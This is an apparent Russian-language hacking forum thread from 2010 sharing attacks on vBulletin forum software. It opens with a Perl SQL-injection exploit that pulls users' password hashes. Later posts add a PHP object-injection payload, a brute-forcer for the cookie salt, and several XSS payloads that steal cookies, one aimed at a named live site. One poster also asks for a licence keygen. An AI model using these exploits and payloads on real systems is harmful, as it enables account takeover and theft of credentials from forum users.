Usage: perl VB4.0.1.pl host /directory/ victim_userid

perl VB4.0.1.pl www.vb.com /forum/ 1


};

}


$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_use rs%20WHERE%20(uid= '".$user ;


print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{

if ($answer =~/(\w{32})/)
{

if ($1 ne 0) {
print "Password is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";

}
exit();
}

}
print "------------------------------------------------------------------------------------------------\r\n";

greenly
08.02.2010, 15:10
все пашет :cool: здесь просто код кривоват
гугл в помощь

Pashkela
10.02.2010, 23:50
регулярка для хоста неправильная, но по всей видимости это спецпорог, т.к. очевидно, что специальная ошибка

Soul Linker
24.02.2010, 15:17
...
Имеем:

Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169




Потомучто там

$temp = unserialize($check);
if ($temp['do'] == 'doenterpwd')
{
$vbulletin->GPC['postvars'] = '';
}


Соответственно переделываем сериализованную часть:
echo serialize(array('do'=>'do', 'obj' => new vB_Shutdown));

a:2:{s:2:"do";s:2:"do";s:3:"obj";O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}}


но как с толком использовать вызов функции без параметров? :(

ps У нуленых by DGT 'COOKIE_SALT' не пустой. :(
pss, но вполне брутабельный.
Брутится исходя из куки "bbforum_view". Например
f544eb9368b8ac964d27534650bff240510eb278a-1-{i-3_i-1267278281_}
Первые 40 символов это хэш соленого сериал. массива:

$c = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'; // 36 chars
// 20
$inp = intval(@$argv[1]);

$salt = 'VBF';

for ($a1 = $inp; $a1 <= 35; $a1++)
{
$salt[3] = $c[$a1];
for ($a2 = 0; $a2 <= 35; $a2++)
{
$salt[4] = $c[$a2];
for ($a3 = 0; $a3 <= 35; $a3++)
{
$salt[5] = $c[$a3];
for ($a4 = 0; $a4 <= 35; $a4++)
{
$salt[6] = $c[$a4];
echo $salt."\n";
for ($a5 = 0; $a5 <= 35; $a5++)
{
$salt[7] = $c[$a5];
for ($a6 = 0; $a6 <= 35; $a6++)
{
$salt[8] = $c[$a6];
for ($a7 = 0; $a7 <= 35; $a7++)
{
$salt[9] = $c[$a7];
if (sha1('a-1-{i-3_i-1267278281_}' . sha1($salt) ) === 'f544eb9368b8ac964d27534650bff240510eb278')
die('Found: '.$salt);
}
}
}
}
}
}
}


для большинства форумов 3.8.2 ~ 3.8.4 подходит:

Может сказать что не существует такого форума, тогда надо будет подшаманить ?f=26

http://site.com/forumdisplay.php?f=26&do=doenterpwd&newforumpwd=&postvars=efeba30e34b02bd0fcdb07795c42eaedad5bf111a :2:{s:2:%22do%22;s:2:%22do%22;s:3:%22obj%22;O:11:% 22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:3:{i:0;s: 7:%22phpinfo%22;i:1;s:21:%22debug_print_backtrace% 22;i:2;s:3:%22die%22;}}}

Никто так и не придумал как эту багу использовать то? :/

iGlass
07.03.2010, 00:06
Нашол минут 5 назад.

Незнаю боян не боян, но у себя на форуме версии 3.8.2 когда заходишь в профиль можно написать "Публичное сообщение"

Такой код проходит свободно.
><script>alert(/byby/)</script>

[Feldmarschall]
19.03.2010, 19:13
http://forum/serverChecker/?IP=**.**.***.***&port=29901"><script>alert(document.cookie)</script>

(c)Feldmarschall

jecka3000
23.03.2010, 01:33
Vbulletin 4.0.2 XSS Vulnerability

=================================
Vbulletin 4.0.2 XSS Vulnerability
=================================

[+] Vbulletin 4.0.2 XSS Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm 5ubzer0 member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: 5ubzer0
[+] My id : http://inj3ct0r.com/author/2307
[+] Original : http://inj3ct0r.com/exploits/9697
# Version: Vbulletin 4.0.2

www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert('xss');</script>
www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script>

Exemple:
http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E


# ~ - [ [ : Inj3ct0r : ] ]
# Inj3ct0r.com [2010-03-19]

Jokester
23.03.2010, 01:52
Как вы задолбали =\
Не надо ставить копирайты на этого inj3ct0r'а - это копипастер\плагиатор.

Посмотрите у китайцев, эта бага лежит с 9 числа, и если этот клоун поставил туда своё авторство, это не значит, что он автор
http://sebug.net/vulndb/19240/

satana-fu
29.04.2010, 03:23
Банальная XSS.
vBulletin® Version 3.8.2

http://site.ru/forum/modcp/index.php?loc=javascript:document.write('<script>alert(document.cookie);</script>');


PS. В теме не нашел, в гугле тоже не заметил, что кто то выкладывал. :rolleyes:

Boa
07.06.2010, 16:19
3.5.4 - Дамп БД
При переходе по указанной ссылке появляется окошко "Please Enter Your Customer Number". Кк я понял, туда надо вписывать ключ. Вопрос, где взять кейген? Насилование гугла, увы, не дало результатов. :(